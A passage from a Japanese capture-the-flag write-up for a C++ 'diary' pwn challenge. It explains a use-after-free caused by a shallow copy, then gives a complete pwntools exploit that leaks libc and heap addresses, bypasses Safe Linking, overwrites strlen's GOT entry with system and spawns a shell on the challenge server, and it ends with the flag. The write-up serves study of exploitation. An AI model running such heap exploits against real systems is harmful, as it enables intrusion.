&#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0;<span class="hljs-string">&quot;5. List Diaries\n&quot;</span>
&#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0;<span class="hljs-string">&quot;6. Exit\n&quot;</span>
&#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0;<span class="hljs-string">&quot;Enter your choice: &quot;</span>;
&#xA0; &#xA0; &#xA0; &#xA0; std::cout.<span class="hljs-built_in">flush</span>();
  
&#xA0; &#xA0; &#xA0; &#xA0; <span class="hljs-type">int</span> choice;
&#xA0; &#xA0; &#xA0; &#xA0; std::cin &gt;&gt; choice;
  
&#xA0; &#xA0; &#xA0; &#xA0; std::cout &lt;&lt; std::endl;
  
&#xA0; &#xA0; &#xA0; &#xA0; <span class="hljs-keyword">switch</span> (choice) {
&#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; <span class="hljs-keyword">case</span> <span class="hljs-number">1</span>:
&#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; <span class="hljs-built_in">create</span>();
&#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; <span class="hljs-keyword">break</span>;
&#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; <span class="hljs-keyword">case</span> <span class="hljs-number">2</span>:
&#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; <span class="hljs-built_in">show</span>(<span class="hljs-literal">false</span>);
&#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; <span class="hljs-keyword">break</span>;
&#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; <span class="hljs-keyword">case</span> <span class="hljs-number">3</span>:
&#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; <span class="hljs-built_in">show</span>(<span class="hljs-literal">true</span>);
&#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; <span class="hljs-keyword">break</span>;
&#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; <span class="hljs-keyword">case</span> <span class="hljs-number">4</span>:
&#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; <span class="hljs-built_in">update</span>();
&#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; <span class="hljs-keyword">break</span>;
&#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; <span class="hljs-keyword">case</span> <span class="hljs-number">5</span>:
&#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; <span class="hljs-built_in">list_diaries</span>();
&#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; <span class="hljs-keyword">break</span>;
&#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; <span class="hljs-keyword">case</span> <span class="hljs-number">6</span>:
&#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; std::cout &lt;&lt; <span class="hljs-string">&quot;Exiting...&quot;</span> &lt;&lt; std::endl;
&#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
&#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; <span class="hljs-keyword">default</span>:
&#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; std::cout &lt;&lt; <span class="hljs-string">&quot;Invalid choice.&quot;</span> &lt;&lt; std::endl;
&#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
&#xA0; &#xA0; &#xA0; &#xA0; }
  
&#xA0; &#xA0; &#xA0; &#xA0; std::cout &lt;&lt; std::endl;
&#xA0; &#xA0; }
  
&#xA0; &#xA0; <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
</code></pre>
<h3 id="%E8%A7%A3%E7%AD%94%E4%BE%8B">&#x89E3;&#x7B54;&#x4F8B;</h3>
<h4 id="%E8%84%86%E5%BC%B1%E6%80%A7">&#x8106;&#x5F31;&#x6027;</h4>
<p>&#x3053;&#x306E;&#x95A2;&#x6570;&#x306B;&#x8106;&#x5F31;&#x6027;&#x304C;&#x3042;&#x308A;&#x307E;&#x3059;&#x3002;</p>
<pre class="blog-code"><code class="lang-cpp"><span class="hljs-function"><span class="hljs-type">void</span> <span class="hljs-title">show_with_emphasis</span><span class="hljs-params">(Diary diary)</span> </span>{
&#xA0; &#xA0; diary.<span class="hljs-built_in">to_upper</span>();
&#xA0; &#xA0; diary.<span class="hljs-built_in">show</span>();
}

<span class="hljs-comment">// &#x547C;&#x3073;&#x51FA;&#x3057;&#x90E8;</span>
<span class="hljs-built_in">show_with_emphasis</span>(diaries[index]);
</code></pre>
<p><code>show_with_emphasis</code>&#x95A2;&#x6570;&#x3067;&#x306F;<code>Diary</code>&#x3092;&#x5024;&#x6E21;&#x3057;&#x3057;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;&#x305D;&#x306E;&#x305F;&#x3081;&#x3001;&#x5024;&#x6E21;&#x3057;&#x3055;&#x308C;&#x308B;<code>Diary</code>&#x306F;&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x304C;&#x6697;&#x9ED9;&#x7684;&#x306B;&#x751F;&#x6210;&#x3057;&#x305F;&#x30B3;&#x30D4;&#x30FC;&#x30B3;&#x30F3;&#x30B9;&#x30C8;&#x30E9;&#x30AF;&#x30BF;&#x3092;&#x7528;&#x3044;&#x3066;&#x751F;&#x6210;&#x3055;&#x308C;&#x3001;&#x95A2;&#x6570;&#x7D42;&#x4E86;&#x6642;&#x306B;&#x3053;&#x306E;&#x30AA;&#x30D6;&#x30B8;&#x30A7;&#x30AF;&#x30C8;&#x306F;&#x7834;&#x68C4;&#x3055;&#x308C;&#x307E;&#x3059;&#x3002;&#x3057;&#x304B;&#x3057;&#x306A;&#x304C;&#x3089;&#x3001;&#x6697;&#x9ED9;&#x7684;&#x306B;&#x751F;&#x6210;&#x3055;&#x308C;&#x308B;&#x30B3;&#x30D4;&#x30FC;&#x30B3;&#x30F3;&#x30B9;&#x30C8;&#x30E9;&#x30AF;&#x30BF;&#x306F;&#x30DD;&#x30A4;&#x30F3;&#x30BF;&#x5909;&#x6570;&#x3092;shallow copy&#x3059;&#x308B;&#x305F;&#x3081;&#x3001;&#x4EE5;&#x4E0B;&#x306E;&#x3088;&#x3046;&#x306B;&#x3057;&#x3066;Use After Free&#x304C;&#x6210;&#x7ACB;&#x3057;&#x307E;&#x3059;&#x3002;</p>
<ol>
<li><code>Diary</code>&#x3092;&#x5024;&#x6E21;&#x3057;&#x3059;&#x308B;&#x3068;&#x3001;<code>DiaryImpl</code>&#x306E;&#x30DD;&#x30A4;&#x30F3;&#x30BF;&#x306E;&#x5024;&#x306E;&#x307F;&#x304C;&#x30B3;&#x30D4;&#x30FC;&#x3055;&#x308C;&#x308B;&#xFF08;&#x5B9F;&#x4F53;&#x306F;1&#x3064;&#x306E;&#x307F;&#xFF09;</li>
<li>&#x95A2;&#x6570;&#x304C;&#x7D42;&#x4E86;&#x3057;&#x3001;<code>Diary</code>&#x306E;&#x30C7;&#x30B9;&#x30C8;&#x30E9;&#x30AF;&#x30BF;&#x304C;&#x547C;&#x3073;&#x51FA;&#x3055;&#x308C;&#x308B;</li>
<li><code>delete impl</code>&#x304C;&#x5B9F;&#x884C;&#x3055;&#x308C;&#x3001;<code>DiaryImpl</code>&#x306F;free&#x3055;&#x308C;&#x308B;</li>
<li>&#x3057;&#x304B;&#x3057;&#x3001;&#x547C;&#x3073;&#x51FA;&#x3057;&#x5074;&#x304B;&#x3089;&#x306F;&#x305D;&#x306E;<code>Diary</code>&#x306B;&#x30A2;&#x30AF;&#x30BB;&#x30B9;&#x3067;&#x304D;&#x308B;&#x305F;&#x3081;&#x3001;<code>Diary</code>&#x304C;&#x3082;&#x3064;<code>impl</code>&#x306F;free&#x3055;&#x308C;&#x305F;&#x3082;&#x306E;&#x3067;&#x3042;&#x308B;</li>
</ol>
<h4 id="%E6%96%B9%E9%87%9D">&#x65B9;&#x91DD;</h4>
<p>&#x9006;&#x30A2;&#x30BB;&#x30F3;&#x30D6;&#x30EB;&#x7D50;&#x679C;&#x3092;&#x898B;&#x308B;&#x3068;&#x3001;C++&#x95A2;&#x6570;&#x306E;&#x307B;&#x304B;&#x306B;<code>strlen</code>&#x95A2;&#x6570;&#x304C;&#x5B58;&#x5728;&#x3057;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;&#x3053;&#x308C;&#x3092;&#x8ABF;&#x3079;&#x308B;&#x3068;&#x3001;<code>std::string</code>&#x306E;&#x521D;&#x671F;&#x5316;&#x6642;&#x306B;&#x547C;&#x3073;&#x51FA;&#x3055;&#x308C;&#x3066;&#x3044;&#x308B;&#x3053;&#x3068;&#x304C;&#x308F;&#x304B;&#x308A;&#x307E;&#x3059;&#x3002;&#x30BD;&#x30FC;&#x30B9;&#x30B3;&#x30FC;&#x30C9;&#x4E0A;&#x3067;&#x306F;</p>
<pre class="blog-code"><code class="lang-cpp"><span class="hljs-function"><span class="hljs-keyword">inline</span> std::string <span class="hljs-title">user_input</span><span class="hljs-params">(<span class="hljs-type">const</span> <span class="hljs-type">char</span> *prompt)</span> </span>{
&#xA0; &#xA0; std::string input;
&#xA0; &#xA0; std::cout &lt;&lt; prompt;
&#xA0; &#xA0; std::cout.<span class="hljs-built_in">flush</span>();
  
&#xA0; &#xA0; std::cin.<span class="hljs-built_in">ignore</span>();
  
&#xA0; &#xA0; <span class="hljs-type">char</span> *line = <span class="hljs-literal">nullptr</span>;
&#xA0; &#xA0; <span class="hljs-type">size_t</span> len = <span class="hljs-number">0</span>;
&#xA0; &#xA0; <span class="hljs-type">ssize_t</span> read = <span class="hljs-built_in">getline</span>(&amp;line, &amp;len, stdin);
&#xA0; &#xA0; <span class="hljs-keyword">if</span> (read &lt; <span class="hljs-number">0</span>) {
&#xA0; &#xA0; &#xA0; &#xA0; <span class="hljs-built_in">exit</span>(<span class="hljs-number">1</span>);
&#xA0; &#xA0; }
  
&#xA0; &#xA0; <span class="hljs-keyword">if</span> (line[read - <span class="hljs-number">1</span>] == <span class="hljs-string">&apos;\n&apos;</span>) {
&#xA0; &#xA0; &#xA0; &#xA0; line[read - <span class="hljs-number">1</span>] = <span class="hljs-string">&apos;\0&apos;</span>;
&#xA0; &#xA0; }
  
&#xA0; &#xA0; <span class="hljs-keyword">return</span> std::<span class="hljs-built_in">string</span>(line);
}
</code></pre>
<p>&#x3053;&#x306E;<code>user_input</code>&#x95A2;&#x6570;&#x306E;&#x6700;&#x7D42;&#x884C;&#x304B;&#x3089;&#x547C;&#x3073;&#x51FA;&#x3055;&#x308C;&#x308B;&#x306E;&#x3067;&#x3001;GOT Overwrite&#x306B;&#x3088;&#x3063;&#x3066;<code>strlen</code>&#x3092;<code>system</code>&#x306A;&#x3069;&#x306B;&#x3059;&#x308B;&#x3053;&#x3068;&#x3067;&#x30D5;&#x30E9;&#x30B0;&#x3092;&#x7372;&#x5F97;&#x3067;&#x304D;&#x305D;&#x3046;&#x3067;&#x3059;&#x3002;</p>
<p>&#x5168;&#x4F53;&#x7684;&#x306A;&#x65B9;&#x91DD;&#x306F;&#x3001;</p>
<ol>
<li>libc&#x30A2;&#x30C9;&#x30EC;&#x30B9;&#x306E;&#x30EA;&#x30FC;&#x30AF;</li>
<li>&#x30D2;&#x30FC;&#x30D7;&#x4F4D;&#x7F6E;&#x306E;&#x30EA;&#x30FC;&#x30AF;</li>
<li>GOT Overwrite</li>
</ol>
<p>&#x3068;&#x3044;&#x3046;&#x6D41;&#x308C;&#x3067;&#x3059;&#x3002;GOT Overwrite&#x306B;&#x95A2;&#x3057;&#x3066;&#x306F;&#x3001;tcache&#x306E;next&#x3092;GOT&#x306B;&#x6307;&#x5B9A;&#x3057;&#x305F;&#x3046;&#x3048;&#x3067;create&#x3059;&#x308B;&#x3068;GOT&#x4E0A;&#x306B;<code>Diary</code>&#x304C;&#x4F5C;&#x6210;&#x3055;&#x308C;&#x3001;&#x30B3;&#x30F3;&#x30B9;&#x30C8;&#x30E9;&#x30AF;&#x30BF;&#x3067;int&#x5909;&#x6570;<code>month</code> <code>day</code>&#x304C;&#x66F8;&#x304D;&#x8FBC;&#x307E;&#x308C;&#x308B;&#x306E;&#x3067;&#x3001;&#x305D;&#x308C;&#x3092;&#x4F7F;&#x7528;&#x3059;&#x308B;&#x3068;GOT Overwrite&#x3067;&#x304D;&#x307E;&#x3059;&#x3002;</p>
<h4 id="libc%E3%82%A2%E3%83%89%E3%83%AC%E3%82%B9%E3%81%AE%E3%83%AA%E3%83%BC%E3%82%AF">libc&#x30A2;&#x30C9;&#x30EC;&#x30B9;&#x306E;&#x30EA;&#x30FC;&#x30AF;</h4>
<p>&#x4ECA;&#x56DE;&#x306F;&#x3001;&#x66F8;&#x304D;&#x8FBC;&#x3080;&#x6587;&#x5B57;&#x5217;&#x306E;&#x9577;&#x3055;&#x306B;&#x3088;&#x3063;&#x3066;<code>std::string</code>&#x304C;&#x5185;&#x90E8;&#x7684;&#x306B;&#x78BA;&#x4FDD;&#x3059;&#x308B;&#x30D0;&#x30C3;&#x30D5;&#x30A1;&#x306E;&#x30B5;&#x30A4;&#x30BA;&#x3092;&#x64CD;&#x4F5C;&#x3067;&#x304D;&#x307E;&#x3059;&#x3002;&#x305D;&#x306E;&#x305F;&#x3081;&#x3001;&#x3042;&#x308B;&#x7A0B;&#x5EA6;&#x9577;&#x3044;&#x6587;&#x5B57;&#x5217;&#x3092;&#x5165;&#x529B;&#x3057;&#x3001;unsorted bin&#x306E;fd/bk&#x30E1;&#x30F3;&#x30D0;&#x304C;main_arena&#x3092;&#x6307;&#x3057;&#x3066;&#x3044;&#x308B;&#x3053;&#x3068;&#x304B;&#x3089;libc&#x30A2;&#x30C9;&#x30EC;&#x30B9;&#x3092;&#x7279;&#x5B9A;&#x3057;&#x307E;&#x3059;&#x3002;</p>
<pre class="blog-code"><code class="lang-python"><span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">9</span>):
&#xA0; &#xA0; create(<span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-string">b&apos;A&apos;</span> * <span class="hljs-number">0x100</span>)
  
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">9</span>):
&#xA0; &#xA0; show_emphasis(i)
  
usbin = show(<span class="hljs-number">7</span>)
usbin_fd = u64(usbin[:<span class="hljs-number">8</span>])
usbin_bk = u64(usbin[<span class="hljs-number">8</span>:<span class="hljs-number">16</span>])
  
libc_base = usbin_bk - main_arena_offset
log.info(<span class="hljs-string">f&apos;libc base: <span class="hljs-subst">{libc_base:#x}</span>&apos;</span>)
</code></pre>
<h4 id="heap%E3%82%A2%E3%83%89%E3%83%AC%E3%82%B9%E3%81%AE%E3%83%AA%E3%83%BC%E3%82%AF-safe-linking%E3%81%AE%E8%A7%A3%E9%99%A4">heap&#x30A2;&#x30C9;&#x30EC;&#x30B9;&#x306E;&#x30EA;&#x30FC;&#x30AF; (Safe Linking&#x306E;&#x89E3;&#x9664;)</h4>
<p>Safe Linking&#x3092;&#x7A81;&#x7834;&#x3059;&#x308B;&#x305F;&#x3081;&#x306B;heap&#x30A2;&#x30C9;&#x30EC;&#x30B9;&#x306E;&#x30EA;&#x30FC;&#x30AF;&#x3092;&#x884C;&#x3044;&#x307E;&#x3059;&#x3002;tcache&#x306E;&#x672C;&#x6765;&#x306E;next&#x306E;&#x5024;&#x304C;NULL&#x3060;&#x3063;&#x305F;&#x5834;&#x5408;&#x3001;&#x89B3;&#x6E2C;&#x3067;&#x304D;&#x308B;next&#x306E;&#x5024;&#x306F;Safe Linking&#x306B;&#x304A;&#x3044;&#x3066;&#x30A2;&#x30C9;&#x30EC;&#x30B9;&#x306B;XOR&#x3092;&#x639B;&#x3051;&#x308B;&#x5024;&#x306B;&#x7B49;&#x3057;&#x3044;&#x3067;&#x3059;&#x3002;</p>
<p>next&#x306E;&#x5024;&#x3067;&#x3042;&#x308C;&#x3070;&#x3001;<code>DiaryImpl</code>&#x30AF;&#x30E9;&#x30B9;&#x306E;<code>month</code>&#x3068;<code>day</code>&#x304C;&#x898B;&#x3089;&#x308C;&#x308C;&#x3070;&#x308F;&#x304B;&#x308A;&#x307E;&#x3059;&#x3002;</p>
<pre class="blog-code"><code class="lang-python">show_emphasis(<span class="hljs-number">18</span>)

<span class="hljs-comment"># heap position leak</span>
ds = list_diaries()
<span class="hljs-built_in">print</span>(ds)
<span class="hljs-keyword">match</span> = re.search(<span class="hljs-string">b&apos;18: Diary - (\d+)/(\d+)&apos;</span>, ds)
<span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> <span class="hljs-keyword">match</span>:
&#xA0; &#xA0; log.error(<span class="hljs-string">&apos;Failed to find date in show output&apos;</span>)
&#xA0; &#xA0; exit(<span class="hljs-number">1</span>)
heap_pos = <span class="hljs-built_in">int</span>(<span class="hljs-keyword">match</span>.group(<span class="hljs-number">1</span>))
log.info(<span class="hljs-string">f&apos;Extracted heap position: <span class="hljs-subst">{heap_pos:#x}</span>&apos;</span>)
</code></pre>
<h4 id="got-overwrite">GOT Overwrite</h4>
<p>&#x6700;&#x5F8C;&#x306B;GOT Overwrite&#x3068;&#x3057;&#x3066;&#x3001;<code>strlen</code>&#x3092;<code>system</code>&#x306B;&#x66F8;&#x304D;&#x63DB;&#x3048;&#x307E;&#x3059;&#x3002;&#x66F8;&#x304D;&#x8FBC;&#x307F;&#x306E;&#x969B;&#x3001;<code>month</code>&#x3084;<code>day</code>&#x304C;&#x7B26;&#x53F7;&#x4ED8;&#x304D;4&#x30D0;&#x30A4;&#x30C8;&#x6574;&#x6570;&#x3067;&#x3042;&#x308B;&#x3053;&#x3068;&#x306B;&#x6CE8;&#x610F;&#x3057;&#x3066;&#x304F;&#x3060;&#x3055;&#x3044;&#x3002;</p>
<pre class="blog-code"><code class="lang-python"><span class="hljs-comment"># GOT overwrite</span>
protected_got = heap_pos ^ elf.got[<span class="hljs-string">&apos;strlen&apos;</span>]
log.info(<span class="hljs-string">f&apos;Calculated protected GOT address: <span class="hljs-subst">{protected_got:#x}</span>, row strlen GOT: <span class="hljs-subst">{elf.got[<span class="hljs-string">&quot;strlen&quot;</span>]:#x}</span>&apos;</span>)
protected_got_upper = signed_int(protected_got &gt;&gt; <span class="hljs-number">32</span>)
protected_got_lower = signed_int(protected_got &amp; <span class="hljs-number">0xffffffff</span>)
update(<span class="hljs-number">19</span>, <span class="hljs-built_in">str</span>(protected_got_lower), <span class="hljs-built_in">str</span>(protected_got_upper), <span class="hljs-string">b&apos;&apos;</span>)
  
create(<span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-string">b&apos;B&apos;</span> * <span class="hljs-number">0x5</span>)
  
system_addr = libc_base + libc.symbols[<span class="hljs-string">&apos;system&apos;</span>]
log.info(<span class="hljs-string">f&apos;Calculated system address: <span class="hljs-subst">{system_addr:#x}</span>&apos;</span>)
system_addr_upper = signed_int(system_addr &gt;&gt; <span class="hljs-number">32</span>)
system_addr_lower = signed_int(system_addr &amp; <span class="hljs-number">0xffffffff</span>)
create(system_addr_lower, system_addr_upper, <span class="hljs-string">b&apos;&apos;</span>)
</code></pre>
<h4 id="%E3%82%B7%E3%82%A7%E3%83%AB%E5%A5%AA%E5%8F%96">&#x30B7;&#x30A7;&#x30EB;&#x596A;&#x53D6;</h4>
<p>&#x6700;&#x5F8C;&#x306B;&#x3001;&#x66F8;&#x304D;&#x63DB;&#x3048;&#x3089;&#x308C;&#x305F;<code>strlen</code>&#x3092;&#x547C;&#x3076;&#x305F;&#x3081;&#x306B;create&#x3092;&#x547C;&#x3073;&#x51FA;&#x3057;&#x307E;&#x3059;&#x3002;</p>
<pre class="blog-code"><code class="lang-python">create(<span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-string">b&apos;/bin/sh\x00&apos;</span>)
</code></pre>
<h4 id="%E3%82%A8%E3%82%AF%E3%82%B9%E3%83%97%E3%83%AD%E3%82%A4%E3%83%88%E3%81%AE%E5%85%A8%E4%BD%93">&#x30A8;&#x30AF;&#x30B9;&#x30D7;&#x30ED;&#x30A4;&#x30C8;&#x306E;&#x5168;&#x4F53;</h4>
<pre class="blog-code"><code class="lang-python"><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">import</span> sys
<span class="hljs-keyword">import</span> re
<span class="hljs-keyword">import</span> ctypes
  
<span class="hljs-comment"># context.log_level = &apos;debug&apos;</span>
  
conn = remote(<span class="hljs-string">&apos;133.88.122.244&apos;</span>, <span class="hljs-number">99999</span>)
elf = ELF(<span class="hljs-string">&apos;./diary&apos;</span>)
libc = ELF(<span class="hljs-string">&apos;./libc.so.6&apos;</span>)
  
main_arena_offset = <span class="hljs-number">0x79a445603b20</span> - <span class="hljs-number">0x79a445400000</span>

<span class="hljs-keyword">def</span> <span class="hljs-title function_">signed_int</span>(<span class="hljs-params">val</span>):
&#xA0; &#xA0; <span class="hljs-keyword">return</span> ctypes.c_int32(val).value
  
<span class="hljs-keyword">def</span> <span class="hljs-title function_">create</span>(<span class="hljs-params">month, day, content</span>):
&#xA0; &#xA0; conn.sendlineafter(<span class="hljs-string">b&apos;Enter your choice: &apos;</span>, <span class="hljs-string">b&apos;1&apos;</span>)
&#xA0; &#xA0; conn.sendlineafter(<span class="hljs-string">b&apos;Enter date (month day): &apos;</span>, <span class="hljs-string">f&apos;<span class="hljs-subst">{month}</span> <span class="hljs-subst">{day}</span>&apos;</span>.encode())
&#xA0; &#xA0; conn.sendlineafter(<span class="hljs-string">b&apos;Enter diary content: &apos;</span>, content)
  
<span class="hljs-keyword">def</span> <span class="hljs-title function_">show</span>(<span class="hljs-params">index</span>):
&#xA0; &#xA0; conn.sendlineafter(<span class="hljs-string">b&apos;Enter your choice: &apos;</span>, <span class="hljs-string">b&apos;2&apos;</span>)
&#xA0; &#xA0; conn.sendlineafter(<span class="hljs-string">b&apos;Enter diary index: &apos;</span>, <span class="hljs-built_in">str</span>(index).encode())
&#xA0; &#xA0; <span class="hljs-keyword">return</span> conn.recvuntil(<span class="hljs-string">b&apos;=======================&apos;</span>)
  
<span class="hljs-keyword">def</span> <span class="hljs-title function_">show_emphasis</span>(<span class="hljs-params">index</span>):
&#xA0; &#xA0; conn.sendlineafter(<span class="hljs-string">b&apos;Enter your choice: &apos;</span>, <span class="hljs-string">b&apos;3&apos;</span>)
&#xA0; &#xA0; conn.sendlineafter(<span class="hljs-string">b&apos;Enter diary index: &apos;</span>, <span class="hljs-built_in">str</span>(index).encode())
&#xA0; &#xA0; <span class="hljs-keyword">return</span> conn.recvuntil(<span class="hljs-string">b&apos;=======================&apos;</span>)
  
<span class="hljs-keyword">def</span> <span class="hljs-title function_">update</span>(<span class="hljs-params">index, month, day, content</span>):
&#xA0; &#xA0; conn.sendlineafter(<span class="hljs-string">b&apos;Enter your choice: &apos;</span>, <span class="hljs-string">b&apos;4&apos;</span>)
&#xA0; &#xA0; conn.sendlineafter(<span class="hljs-string">b&apos;Enter diary index to update: &apos;</span>, <span class="hljs-built_in">str</span>(index).encode())
&#xA0; &#xA0; conn.sendlineafter(<span class="hljs-string">b&apos;Enter new date (month day): &apos;</span>, <span class="hljs-string">f&apos;<span class="hljs-subst">{month}</span> <span class="hljs-subst">{day}</span>&apos;</span>.encode())
&#xA0; &#xA0; <span class="hljs-keyword">if</span> content == <span class="hljs-string">b&apos;&apos;</span>:
&#xA0; &#xA0; &#xA0; &#xA0; conn.sendlineafter(<span class="hljs-string">b&apos;Enter new diary content: &apos;</span>, <span class="hljs-string">b&apos;&apos;</span>)
&#xA0; &#xA0; <span class="hljs-keyword">else</span>:
&#xA0; &#xA0; &#xA0; &#xA0; conn.sendlineafter(<span class="hljs-string">b&apos;Enter new diary content: &apos;</span>, content)
  
<span class="hljs-keyword">def</span> <span class="hljs-title function_">list_diaries</span>():
&#xA0; &#xA0; conn.sendlineafter(<span class="hljs-string">b&apos;Enter your choice: &apos;</span>, <span class="hljs-string">b&apos;5&apos;</span>)
&#xA0; &#xA0; <span class="hljs-keyword">return</span> conn.recvuntil(<span class="hljs-string">b&apos;1. Create Diary&apos;</span>)
  
<span class="hljs-comment"># libc leak</span>
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">9</span>):
&#xA0; &#xA0; create(<span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-string">b&apos;A&apos;</span> * <span class="hljs-number">0x100</span>)
  
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">9</span>):
&#xA0; &#xA0; show_emphasis(i)
  
list_diaries()
  
usbin = show(<span class="hljs-number">7</span>)
usbin_fd = u64(usbin[:<span class="hljs-number">8</span>])
usbin_bk = u64(usbin[<span class="hljs-number">8</span>:<span class="hljs-number">16</span>])
  
libc_base = usbin_bk - main_arena_offset
log.info(<span class="hljs-string">f&apos;libc base: <span class="hljs-subst">{libc_base:#x}</span>&apos;</span>)
  
<span class="hljs-comment"># clear tcache &amp; leave only two chunk in tcache</span>
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">9</span>):
&#xA0; &#xA0; create(<span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-string">b&apos;B&apos;</span> * <span class="hljs-number">0x5</span>)
  
create(<span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-string">b&apos;B&apos;</span> * <span class="hljs-number">0x5</span>)
create(<span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-string">b&apos;B&apos;</span> * <span class="hljs-number">0x5</span>) <span class="hljs-comment"># free after leaking heap position</span>
show_emphasis(<span class="hljs-number">18</span>)
  
<span class="hljs-comment"># heap position leak</span>
ds = list_diaries()
<span class="hljs-built_in">print</span>(ds)
<span class="hljs-keyword">match</span> = re.search(<span class="hljs-string">b&apos;18: Diary - (\d+)/(\d+)&apos;</span>, ds)
<span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> <span class="hljs-keyword">match</span>:
&#xA0; &#xA0; log.error(<span class="hljs-string">&apos;Failed to find date in show output&apos;</span>)
&#xA0; &#xA0; exit(<span class="hljs-number">1</span>)
heap_pos = <span class="hljs-built_in">int</span>(<span class="hljs-keyword">match</span>.group(<span class="hljs-number">1</span>))
log.info(<span class="hljs-string">f&apos;Extracted heap position: <span class="hljs-subst">{heap_pos:#x}</span>&apos;</span>)
  
show_emphasis(<span class="hljs-number">19</span>) <span class="hljs-comment"># tcache count = 2</span>
  
<span class="hljs-comment"># GOT overwrite</span>
protected_got = heap_pos ^ elf.got[<span class="hljs-string">&apos;strlen&apos;</span>]
log.info(<span class="hljs-string">f&apos;Calculated protected GOT address: <span class="hljs-subst">{protected_got:#x}</span>, row strlen GOT: <span class="hljs-subst">{elf.got[<span class="hljs-string">&quot;strlen&quot;</span>]:#x}</span>&apos;</span>)
protected_got_upper = signed_int(protected_got &gt;&gt; <span class="hljs-number">32</span>)
protected_got_lower = signed_int(protected_got &amp; <span class="hljs-number">0xffffffff</span>)
update(<span class="hljs-number">19</span>, <span class="hljs-built_in">str</span>(protected_got_lower), <span class="hljs-built_in">str</span>(protected_got_upper), <span class="hljs-string">b&apos;&apos;</span>)
  
list_diaries()
  
create(<span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-string">b&apos;B&apos;</span> * <span class="hljs-number">0x5</span>)
  
list_diaries()
  
system_addr = libc_base + libc.symbols[<span class="hljs-string">&apos;system&apos;</span>]
log.info(<span class="hljs-string">f&apos;Calculated system address: <span class="hljs-subst">{system_addr:#x}</span>&apos;</span>)
system_addr_upper = signed_int(system_addr &gt;&gt; <span class="hljs-number">32</span>)
system_addr_lower = signed_int(system_addr &amp; <span class="hljs-number">0xffffffff</span>)
create(system_addr_lower, system_addr_upper, <span class="hljs-string">b&apos;&apos;</span>)
  
create(<span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-string">b&apos;/bin/sh\x00&apos;</span>)
  
conn.interactive()
</code></pre>
<pre class="blog-code"><code class="lang-powershell">CPCTF{s7r0ng1y_r3c0mmend3d_t0_u3e_3m4r7_p01nt3<span class="hljs-built_in">r</span>}
</code></pre>
<h3 id="%E6%84%9F%E6%83%B3%E3%81%AA%E3%81%A9">&#x611F;&#x60F3;&#x306A;&#x3069;</h3>
